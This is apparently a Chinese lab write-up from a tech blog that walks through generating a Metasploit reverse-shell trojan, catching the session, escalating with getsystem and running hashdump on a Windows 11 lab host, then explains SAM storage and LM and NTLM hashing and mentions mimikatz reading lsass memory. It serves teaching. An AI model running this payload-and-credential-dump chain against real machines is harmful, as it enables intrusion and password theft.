抓取内网Windows明文密码与hashdump抓取密文

2024-05-01 21:52

本文主要是介绍抓取内网Windows明文密码与hashdump抓取密文,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

抓取内网Windows明文密码与hashdump抓取密文

  • 一、msf远程控制实验
      • 1、生成一个木马控制程序--mpf.exe
      • 2、启用MSF攻击平台
      • 3、加载模块和选择payload
      • 4、设置payload参数并且进行监听
      • 5、提权
      • 6、hashdump抓取hash值
  • 二、实验思考题:
      • 2.1 windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
      • 2.2 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
      • 2.3 为什么第一个模块 永远是一样的aad3
      • 2.4 这两个模块的加密算法有什么不同,如何加密的

一、msf远程控制实验

实验准备:

kali:192.168.111.129
win11:192.168.111.145

1、生成一个木马控制程序–mpf.exe

┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.129 lport=2331 -f exe > /root/mpf.exe

2、启用MSF攻击平台

┌──(root㉿kali)-[~]
└─# msfconsole

3、加载模块和选择payload

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

4、设置payload参数并且进行监听

msf6 exploit(multi/handler) > set lhost 192.168.111.129
lhost => 192.168.111.129
msf6 exploit(multi/handler) > set lport 2331
lport => 2331
msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.111.129:2331 
[*] Sending stage (175686 bytes) to 192.168.111.145
[*] Meterpreter session 2 opened (192.168.111.129:2331 -> 192.168.111.145:51668) at 2024-04-20 01:08:17 -0400

5、提权

meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z

6、hashdump抓取hash值

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fly:1001:aad3b435b51404eeaad3b435b51404ee:9745ea134185c97df859fd43c05f0be7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:15f3f11a63b481d0a7ab3c1afef16dcd:::

二、实验思考题:

2.1 windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文

存储过程:
在windows中,用户登录的密码一般不会以明文的形式保存在计算机中,而是通过保存密码的哈希值来确保它的安全性;当用户注销、重启或锁屏后,操作系统会让winlogon.exe显示登录界面,接收用户的输入信息。用户输入密码后,密码信息会交给lsass进程。在这个过程中,会存一份明文密码,并将其加密成NTLM Hash。加密后的密码哈希值会与存储在SAM(Security Accounts Manager)数据库中的哈希值进行比较认证。
Windows默认使用NTLM或Kerberos身份认证协议进行加密存储用户登录的密码。

1、NTLM
它是一种质询/应答身份验证协议,用于在网络环境中验证用户的身份。NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。在NTLM认证的过程中,客户端回和服务器进行一系列的交互,以便于验证用户的身份;它提供了数据完整性和加密功能,适用于工作组和域环境

2、Kerberos
Kerberos是一种身份验证协议,旨在为大型网络环境提供强大的身份验证和访问控制。它涉及客户端、服务器和密钥分发中心的参与,通过票据授权实现安全访问。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。它的加密功能比NTLM更加强大;

密文一般存储在:C:\Windows\System32\config\SAM文件中

此文件保存了Windows系统中所有用户的密码哈希值,是一个二进制文件,因此无法直接打开并查看到明文密码;为了保护用户的密码安全,SAM文件是被Windows系统保护的,普通用户无法直接访问或修改。

如果想要查看到hash值或进一步获取明文密码,需要一定的技术手段。例如,可以使用mimikatz这类工具读取lsass.exe进程内存来获取已登录用户的NTLM hash。另外,也可以通过修改特定的注册表项,强制让系统在特定条件下暴露出明文密码。

2.2 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么

在这里插入图片描述
通过上图: hashdump抓取的密文分为LMhashNThash

1.LMhash(LAN Manager)
LM Hash全名为“LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),LM Hash明文密码被限制在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上就好了。如果LM Hash被禁用了,攻击者提高工具抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"

2.NTLM hash:
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
它是Windows系统中更为常用的哈希算法,用于存储用户的密码信息,与LM哈希不同,NT哈希没有长度限制,并且使用了更安全的加密算法。因此,在大多数情况下,NT哈希是更可靠和安全的密码存储方式。

因此通过抓取这两个模块的哈希值,攻击者可以尝试破解用户的密码。不过,需要注意的是,即使获得了哈希值,也不意味着可以直接还原出明文密码。破解哈希值通常需要使用暴力破解、字典攻击或其他高级技术,这取决于密码的复杂性和长度。

2.3 为什么第一个模块 永远是一样的aad3

  1. 第一个模块是一样的"aad3"是因为在Windows系统中,如果用户的密码为空或者密码长度不足14个字符,系统会自动生成一个固定的"aad3"值进行存储。 这是由于LM算法要求密码长度必须是14个字符,如果密码不足14个字符,系统就会用"aad3"来填充。
  2. 还有是为了保证系统的兼容性,Windows将LM hash禁止使用了,当其被禁用时,攻击者通过工具抓取的LM hash通常为这个固定的值;所以LM hash的固定值永远都为aad3

2.4 这两个模块的加密算法有什么不同,如何加密的

1、LM Hash加密:

  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  3. 再分7bit为一组,每组末尾加0,再组成一组
  4. 上步骤得到的二组,分别作为key 为 KGS!@#$%进行DES加密。
  5. 将加密后的两组拼接在一起,得到最终LM HASH值。

2、NTLM hash加密算法如下:

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算

这篇关于抓取内网Windows明文密码与hashdump抓取密文的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/952760

相关文章

数据库oracle用户密码过期查询及解决方案

《数据库oracle用户密码过期查询及解决方案》:本文主要介绍如何处理ORACLE数据库用户密码过期和修改密码期限的问题,包括创建用户、赋予权限、修改密码、解锁用户和设置密码期限,文中通过代码介绍... 目录前言一、创建用户、赋予权限、修改密码、解锁用户和设置期限二、查询用户密码期限和过期后的修改1.查询用

windows系统下shutdown重启关机命令超详细教程

《windows系统下shutdown重启关机命令超详细教程》shutdown命令是一个强大的工具,允许你通过命令行快速完成关机、重启或注销操作,本文将为你详细解析shutdown命令的使用方法,并提... 目录一、shutdown 命令简介二、shutdown 命令的基本用法三、远程关机与重启四、实际应用

Windows自动化Python pyautogui RPA操作实现

《Windows自动化PythonpyautoguiRPA操作实现》本文详细介绍了使用Python的pyautogui库进行Windows自动化操作的实现方法,文中通过示例代码介绍的非常详细,对大... 目录依赖包睡眠:鼠标事件:杀死进程:获取所有窗口的名称:显示窗口:根据图片找元素:输入文字:打开应用:依

Java中的密码加密方式

《Java中的密码加密方式》文章介绍了Java中使用MD5算法对密码进行加密的方法,以及如何通过加盐和多重加密来提高密码的安全性,MD5是一种不可逆的哈希算法,适合用于存储密码,因为其输出的摘要长度固... 目录Java的密码加密方式密码加密一般的应用方式是总结Java的密码加密方式密码加密【这里采用的

javafx 如何将项目打包为 Windows 的可执行文件exe

《javafx如何将项目打包为Windows的可执行文件exe》文章介绍了三种将JavaFX项目打包为.exe文件的方法:方法1使用jpackage(适用于JDK14及以上版本),方法2使用La... 目录方法 1:使用 jpackage(适用于 JDK 14 及更高版本)方法 2:使用 Launch4j(

mysql重置root密码的完整步骤(适用于5.7和8.0)

《mysql重置root密码的完整步骤(适用于5.7和8.0)》:本文主要介绍mysql重置root密码的完整步骤,文中描述了如何停止MySQL服务、以管理员身份打开命令行、替换配置文件路径、修改... 目录第一步:先停止mysql服务,一定要停止!方式一:通过命令行关闭mysql服务方式二:通过服务项关闭

windows端python版本管理工具pyenv-win安装使用

《windows端python版本管理工具pyenv-win安装使用》:本文主要介绍如何通过git方式下载和配置pyenv-win,包括下载、克隆仓库、配置环境变量等步骤,同时还详细介绍了如何使用... 目录pyenv-win 下载配置环境变量使用 pyenv-win 管理 python 版本一、安装 和

Python使用pysmb库访问Windows共享文件夹的详细教程

《Python使用pysmb库访问Windows共享文件夹的详细教程》本教程旨在帮助您使用pysmb库,通过SMB(ServerMessageBlock)协议,轻松连接到Windows共享文件夹,并列... 目录前置条件步骤一:导入必要的模块步骤二:配置连接参数步骤三:实例化SMB连接对象并尝试连接步骤四:

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

在 Windows 上部署 gitblit

在 Windows 上部署 gitblit 在 Windows 上部署 gitblit 缘起gitblit 是什么安装JDK部署 gitblit 下载 gitblit 并解压配置登录注册为 windows 服务 修改 installService.cmd 文件运行 installService.cmd运行 gitblitw.exe查看 services.msc 缘起